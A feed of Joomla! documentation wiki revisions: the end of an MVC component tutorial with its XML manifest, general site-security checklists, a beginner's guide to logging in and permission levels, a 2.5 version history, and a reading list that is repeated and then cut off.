* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_foot.php|admin/views/helloworlds/tmpl/default_foot.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworld/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/views/helloworld/view.html.php|admin/views/helloworld/view.html.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/views/helloworld/submitbutton.js|admin/views/helloworld/submitbutton.js]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworld/tmpl/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/views/helloworld/tmpl/edit.php|admin/views/helloworld/tmpl/edit.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/helpers/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/helpers/helloworld.php|admin/helpers/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/tables/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/tables/helloworld.php|admin/tables/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/language/en-GB/en-GB.com_helloworld.ini|admin/language/en-GB/en-GB.com_helloworld.ini]]''
* ''[[#admin/language/en-GB/en-GB.com_helloworld.sys.ini|admin/language/en-GB/en-GB.com_helloworld.sys.ini]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/controllers/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/controllers/helloworld.php|admin/controllers/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/controllers/helloworlds.php|admin/controllers/helloworlds.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_08#language/en-GB/en-GB.ini|language/en-GB/en-GB.ini]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|media/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|media/images/index.html]]''
* ''media/images/tux-16x16.png''
* ''media/images/tux-48x48.png''

Create a compressed file of this directory or directly download the [http://joomlacode.org/gf/download/frsrelease/11394/58397/com_helloworld-1.6-part07.zip archive] and install it using the extension manager of Joomla. You can add a menu item of this component using the menu manager in the backend.


''helloworld.xml''
<source lang="xml">
<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="2.5.0" method="upgrade">

<name>COM_HELLOWORLD</name>

<creationDate>November 2009</creationDate>
<author>John Doe</author>
<authorEmail>john.doe@example.org</authorEmail>
<authorUrl>http://www.example.org</authorUrl>
<copyright>Copyright Info</copyright>
<license>License Info</license>

<version>0.0.18</version>

<description>COM_HELLOWORLD_DESCRIPTION</description>


<scriptfile>script.php</scriptfile>

<install> 
<sql>
<file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
</sql>
</install>
<uninstall> 
<sql>
<file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
</sql>
</uninstall>
<update> 
<schemas>
<schemapath type="mysql">sql/updates/mysql</schemapath>
</schemas>
</update>



<files folder="site">
<filename>index.html</filename>
<filename>helloworld.php</filename>
<filename>controller.php</filename>
<filename>updhelloworld.php</filename>
<folder>views</folder>
<folder>models</folder>
<folder>controllers</folder>
<folder>language</folder>
</files>

<media destination="com_helloworld" folder="media">
<filename>index.html</filename>
<folder>images</folder>
</media>

<administration>

<menu img="../media/com_helloworld/images/tux-16x16.png">COM_HELLOWORLD_MENU</menu>


<files folder="admin">

<filename>index.html</filename>
<filename>config.xml</filename>
<filename>access.xml</filename>
<filename>helloworld.php</filename>
<filename>controller.php</filename>

<folder>sql</folder>

<folder>tables</folder>

<folder>models</folder>

<folder>views</folder>

<folder>controllers</folder>

<folder>helpers</folder>
</files>

<languages folder="admin">
<language tag="en-GB">language/en-GB/en-GB.com_helloworld.ini</language>
<language tag="en-GB">language/en-GB/en-GB.com_helloworld.sys.ini</language>
</languages>
</administration>


<updateservers>

<server type="extension" priority="1" name="HelloWorld Update Site">http://yourdomain.com/update/helloworld-update.xml</server>
</updateservers>

</extension>

</source>


Now you can see in your component '''hello-world''' an array with two colums, two rows and checkboxes. You can click the checkboxes in order to select the different options you want.

== Zips ==
Download the zip file for this Part:
[http://www.glennarkell.com/joomlaorg/com_helloworld_0.0.18.zip]

== Navigate ==

[[Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Part 17|Prev: Adding an update server]]
[[Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Part 19|Next: Example of Menu Parameters & Stylesheets]]

[[Category:Development]]
[[category:Joomla! 1.6]]
[[category:Joomla! 1.7]]
[[category:Joomla! 2.5]]
[[category:Manual]]

Security Checklist/Testing and Development

2012-08-17T00:06:08Z

Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.

{{RightTOC}}

== Secure Testing and Development ==

===Develop locally, deploy globally===
: Develop and test your site on a local machine first. Installing Joomla locally is not as hard as it may sound, and the exercise will greatly boost your confidence.</li>

===Use an IDE===
: Consider using an Integrated Development Environment (IDE). One free IDE that many Joomla! developers use is [http://www.eclipse.org Eclipse]. See [[Setting_up_your_workstation_for_Joomla!_development | Setting up your workstation for Eclipse development]] for instructions on installing Eclipse.

===Use a versioning system===
: Be able to roll back to an earlier version of your site using a modern version control system, such as CVS, [http://subversion.tigris.org/ Subversion], or [http://git.or.cz/ git].</li> The Eclipse IDE indicated above includes a Subversion plugin. This allows you to work with the Joomla! source repository as well as other projects hosted on [http://joomlacode.org/ JoomlaCode].

===More suggested tools===
: Check out the Joomla! community's list of popular [http://forum.joomla.org/index.php/topic,25307.0.html Developer Software and Tools].

==Setup a backup process first==
===The most important rule===
: '''Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. '''

: Be sure your backup and recovery process is ready and tested BEFORE your site goes live.

: This is the single best way (and often the only way) to recover from such inevitable catastrophes as:'''

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

J1.5:Use an existing Joomla! 1.5 site

2012-08-17T00:04:53Z

Cadrlp: /* Further information */ Not needed; as this is a wiki and you can see from the history who edited this page.

{{:Getting Started Page Index/1.5}}
{{JVer|1.5}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.5.

==Introduction==

===Who is it written for?===
:*Everyone
:*The main focus is on people who do not have much experience of using web sites.
You also need:-
:*to have access to a Joomla! site with an appropriate level of permission

Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.

You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.

===How to login===
You will need a username with the right permissions for what you are going to do, such as add and edit articles.

You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password.
*Open the site in your browser
{{:How to login}}

=== Usernames and permissions===
Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator.

There are four levels of permission relevant to adding and editing Articles in a Joomla! Web site.
* '''Guests:''' Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.
*'''Registered users:''' Others can login but have 'read only' access to the site - in other words they cannot alter anything.
You will need to be given a username (with a password) by your Administrator with a level of access that will allow you to edit and create content.
*'''Author or Editor:''' You may be given 'author' or 'editor' permissions, which allows you to edit and add Articles, but does not allow you to 'publish' them. Publishing an article makes it visible to visitors to the web site. Authors can only edit articles that they have created.
*'''Publisher:''' You may have 'publisher' permissions, which allows you to publish articles, as well as adding and editing them.

==Where Next?==
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.
*[[Hands-on editing an article: Joomla! 1.5|Hands-on how to begin to edit an Article.]] This will help you to become familiar with editing in Joomla!

==Further information==

There are other levels of permission that are needed for managing a site. This has some further detail -
[[How permissions work in Joomla! 1.5 |Controlling user access to a Joomla! Site]]

Security Checklist/Site Recovery

2012-08-17T00:03:40Z

Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.

{{RightTOC}}

== Site Recovery ==

=== Get help the right way ===
:If you believe your Web site was attacked, '''do not''' create yet another oh-so-boring post in the Joomla! forums with the title, ''"Help! I've been hacked."'' This tells us nothing of importance. The vast majority of compromised sites were not setup correctly or were using obsolete versions of Joomla! or third-party extensions. This is what you need to investigate.

:If you discover a real vulnerability, publishing the information could put other Web sites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].

=== Follow a logical and rigorous recovery process ===
:Know the important steps to follow when your site has been compromised. Once your site has been cracked, there are few shortcuts. '''([[Security_and_Performance_FAQs#Help.21_My_site.27s_been_compromised._Now_what.3F|FAQ]])'''

===Reset your administrator password===
:Many attackers take pleasure in locking you out of your site. They often do this by changing your administrator password. If you are locked out, don't panic! There is a simple procedure for resetting your administrator password. '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

===Find exploit attempts using the *NIX shell===
:Know how to check for suspicious and/or modified files. Know how to check the raw Apache logs for suspicious activity on your site. '''([[Security_and_Performance_FAQs#How_do_I_find_exploits_using_the_.2ANIX_shell.3F|FAQ]])'''

== Your Turn... ==
:If you discover a vulnerability in Joomla! core files, [http://developer.joomla.org/security/contact-the-team.html report it here].

Proceed through [http://docs.joomla.org/Security_Checklist_7 checklist 7]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]
# [[Security Checklist 7 | You have been Hacked/checklist 7]]
[[Category:Security Checklist]]

Security Checklist/Site Administration

2012-08-17T00:03:28Z

Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.

{{RightTOC}}

== Site Administration ==

===Use well-formed passwords===
: Change passwords regularly and keep them unique. A strong password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].

===Follow a password leveling scheme===
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]

===Maintain a strong site backup process===
: Never rely on others' backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you cannot rely solely on their backups.

===Monitor crack attempts===
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)</li>

===Perform automated intrusion detection===
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests.
* [http://www.google.com/search?q=Intrusion+Prevention Google search]

===Perform manual intrusion detection===
: Regularly check raw logs for suspicious activity. Don't rely on summaries and graphs.

===Stay current with security patches and upgrades===
: Apply vendor-released security patches ASAP.
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]

===Proactively seek site vulnerabilities===
: Perform frequent web scanning.

* [http://www.google.com/search?q=%22web+scanning Google Search]

===Proactively seek SQL injections vulnerabilities===
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.
<ul>
<li>[http://www.google.com/search?q=%22SQL+Injection Google Search]</li>
<li>[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]</li>
</ul>

===Use shell scripts to automate security tasks===
: Search the forums for these popular scripts:
<ul>
<li>Joomla! Version Checking</li>
<li>Joomla! Component/Module Version Checking</li>
<li>Exploit Checking</li>
</ul>

===Learn about security software===
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.

===Don't reinvent every wheel===
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, ''"Anyone who acts as their own lawyer has a fool for a client."?'' The same goes for Web development. Don't expect to catch all of your own security mistakes.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2012-08-17T00:03:03Z

Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

Note to editors: This extension has been unpublished for the following reason: UR8-Copyright Violations

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This has more to do with secure payments and administration, and is not Joomla! core or server security, but has been included here for advisory purposes.
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

User:Cadrlp

2012-07-01T07:21:07Z

Cadrlp: Blanked the page

Joomla 2.5 version history

2012-07-01T07:19:59Z

Cadrlp:

== Joomla! 2.5.6 ==
* 19 June 2012
* [http://www.joomla.org/announcements/release-news/5428-joomla-256-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6376 Package and MD5s]
* [[:Category: Version 2.5.6 FAQ|FAQ and known issues]]

== Joomla! 2.5.5 ==
* 18 June 2012
* [http://www.joomla.org/announcements/release-news/5427-joomla-255-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6374 Package and MD5s]
* [[:Category: Version 2.5.5 FAQ|FAQ and known issues]]

== Joomla! 2.5.4 ==
* 2 April 2012
* [http://www.joomla.org/announcements/release-news/5418-joomla-254-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6318 Package and MD5s]
* [[:Category: Version 2.5.4 FAQ|FAQ and known issues]]

== Joomla! 2.5.3 ==
* 15 March 2012
* [http://www.joomla.org/announcements/release-news/5416-joomla-253-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6302 Package and MD5s]
* [[:Category: Version 2.5.3 FAQ|FAQ and known issues]]

== Joomla! 2.5.2 ==
* 5 March 2012
* [http://www.joomla.org/announcements/release-news/5415-joomla-252-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6296 Package and MD5s]
* [[:Category: Version 2.5.2 FAQ|FAQ and known issues]]

== Joomla! 2.5.1 ==
* 2 February 2012
* [http://www.joomla.org/announcements/release-news/5410-joomla-251-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6257 Package and MD5s]
* [[:Category: Version 2.5.1 FAQ|FAQ and known issues]]

== Joomla! 2.5.0 ==
* 24 January 2012
* [http://www.joomla.org/announcements/release-news/5403-joomla-250-released.html Release Notes]
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6231 Package and MD5s]
* [[:Category: Version 2.5.0 FAQ|FAQ and known issues]]

[[Category:Joomla! 2.5]]

User talk:Cadrlp

2011-10-15T01:21:26Z

Cadrlp: Blanked the page

References

2011-10-15T01:19:52Z

Cadrlp: /* Other documents in this series */

<noinclude>
This is a list of references for both versions - marked by the 1.5 / 1.6 logos.

</noinclude>

The aim of listing references is to choose some that are found useful or that summarise Joomla! There are many detailed references at the foot of all the documents. Both versions are included here because it is useful to see what is available for both versions alongside one another.

===Joomla! main and documentation sites===
* http://www.joomla.org/ Links to everything but be careful you do not get lost!

* http://docs.joomla.org/ The official Documentation web site for all versions of Joomla!

===Books===

As Joomla! becomes widely used, there are more books aimed at various levels of expertise. It may seem strange to recommend books for an on-line application but the book has not died as a result of on-screen documentation. Studies have shown that people read differently on-screen and on paper, so it makes sense to use books alongside other resources. Here are some that enhance to the on-line or on-screen documentation.

{{JVer|1.5}}
*'''Jennifer Marriott and Elin Waring, ''The Official Joomla! Book''''' Addison-Wesley Professional, 2010. Part of the Joomla! Press series. This is a very useful guide to Joomla! because it has masses of background about how to think about the design of a new site. It also links to examples set up for the book. And masses of useful advice and links.

*'''Ric Shreves, ''Joomla! Bible,''''' Wiley, 2010. Comprehensive and practical. A reference book but with a lot of practical things, as well as nuggets of information. Good for developers but also useful for learners. It has some material about version 1.6 but was published for version 1.5.

*'''Cory Webb, ''Beginning Joomla! Web Site Development,''''' Wrox Wiley 2009. One of the Programmer to Programmer series. Better for people with a bit of experience of computing in general and web sites in particular. But it has some good parts - including some detailed analysis of Template files.

*'''Ron Severdia and Kenneth Crowder, ''Using Joomla'',''' O'Reilly, 2010. A descriptive book in the traditions of the O'Reilly publications. Not for beginners.

*'''Marni Derr and Tanya Symes, ''Visual QuickStart Guide: Joomla!,''''' PeachPit Press, 2009. Helpful layout with a lot of screen shots and asides. Some experience of IT is needed but the book leads you along nicely and is written in a straight forward style.

{{JVer|1.6}}

None around yet specifically for 1.6

*'''Jennifer Marriott and Elin Waring, ''The Official Joomla! Book''''' . This has a lengthy section on version 1.6 and covers the parts that have changed.

*'''Ric Shreves, ''Joomla! Bible,''''' This has some extra comments in the text about differences in version 1.6, but does not have much detail.

===Help on-line {{JVer|1.5}} and {{JVer|1.6}}===

* '''General:''' The Joomla! Help pages are variable in their helpfulness, especially for beginners.
:*Most are very good. If you are an experienced reader of Help - they will be useful.
:*Beginners may find they do not understand all the vocabulary. But they do become clearer as you get to know Joomla! so do not write them off.
:*Remember that Help is intended to contain all possible actions but does not necessarily explain the point of everything.

===On-line resources {{JVer|1.5}} and {{JVer|1.6}} ===

'''Joomla! on-line magazine''' with some helpful material, some aimed at beginners.
*http://magazine.joomla.org

The landing page for all '''Joomla! documentation'''.
*http://docs.joomla.org

'''The Joomla! Forum.''' It takes a bit of experience to get the best out of the Forums. If you are not very experienced, you will find a lot here that does not make sense and it is easy to get distracted. But many questions are well answered.
* http://forum.joomla.org

===Some on-line Joomla! documentation===
{{JVer|1.5}}
*[http://docs.joomla.org/Administrators Joomla! Administrator's Manual - on-line ] This will be comprehensive when it is complete.
*[http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Quick start guide ] This includes descriptions of the Back-end as part of installing and creating a Joomla! site. It is good and helpful.
* [http://community.joomla.org/august-2008/article/522-introductory-learning-joomla-using-sample-data.html Learning Joomla! using Sample Data] It has a short section on the Back-end but is also useful in exploring the Sample data in the localhost installation.

{{JVer|1.6}}

There are some - to be added

==Other documents in this series==

*[[Page_Index|List of documents for this series - version 1.5]]
*List of documents for this series - version 1.6 - coming soon

References

2011-10-15T01:19:32Z

Cadrlp:

<noinclude>
This is a list of references for both versions - marked by the 1.5 / 1.6 logos.

</noinclude>

The aim of listing references is to choose some that are found useful or that summarise Joomla! There are many detailed references at the foot of all the documents. Both versions are included here because it is useful to see what is available for both versions alongside one another.

===Joomla! main and documentation sites===
* http://www.joomla.org/ Links to everything but be careful you do not get lost!

* http://docs.joomla.org/ The official Documentation web site for all versions of Joomla!

===Books===

As Joomla! becomes widely used, there are more books aimed at various levels of expertise. It may seem strange to recommend books for an on-line application but the book has not died as a result of on-screen documentation. Studies have shown that people read differently on-screen and on paper, so it makes sense to use books alongside other resources. Here are some that enhance to the on-line or on-screen documentation.

{{JVer|1.5}}
*'''Jennifer Marriott and Elin Waring, ''The Official Joomla! Book''''' Addison-Wesley Professional, 2010. Part of the Joomla! Press series. This is a very useful guide to Joomla! because it has masses of background about how to think about the design of a new site. It also links to examples set up for the book. And masses of useful advice and links.

*'''Ric Shreves, ''Joomla! Bible,''''' Wiley, 2010. Comprehensive and practical. A reference book but with a lot of practical things, as well as nuggets of information. Good for developers but also useful for learners. It has some material about version 1.6 but was published for version 1.5.

*'''Cory Webb, ''Beginning Joomla! Web Site Development,''''' Wrox Wiley 2009. One of the Programmer to Programmer series. Better for people with a bit of experience of computing in general and web sites in particular. But it has some good parts - including some detailed analysis of Template files.

*'''Ron Severdia and Kenneth Crowder, ''Using Joomla'',''' O'Reilly, 2010. A descriptive book in the traditions of the O'Reilly publications. Not for beginners.

*'''Marni Derr and Tanya Symes, ''Visual QuickStart Guide: Joomla!,''''' PeachPit Press, 2009. Helpful layout with a lot of screen shots and asides. Some experience of IT is needed but the book leads you along nicely and is written in a straight forward style.

{{JVer|1.6}}

None around yet specifically for 1.6

*'''Jennifer Marriott and Elin Waring, ''The Official Joomla! Book''''' . This has a lengthy section on version 1.6 and covers the parts that have changed.

*'''Ric Shreves, ''Joomla! Bible,''''' This has some extra comments in the text about differences in version 1.6, but does not have much detail.

===Help on-line {{JVer|1.5}} and {{JVer|1.6}}===

* '''General:''' The Joomla! Help pages are variable in their helpfulness, especially for beginners.
:*Most are very good. If you are an experienced reader of Help - they will be useful.
:*Beginners may find they do not understand all the vocabulary. But they do become clearer as you get to know Joomla! so do not write them off.
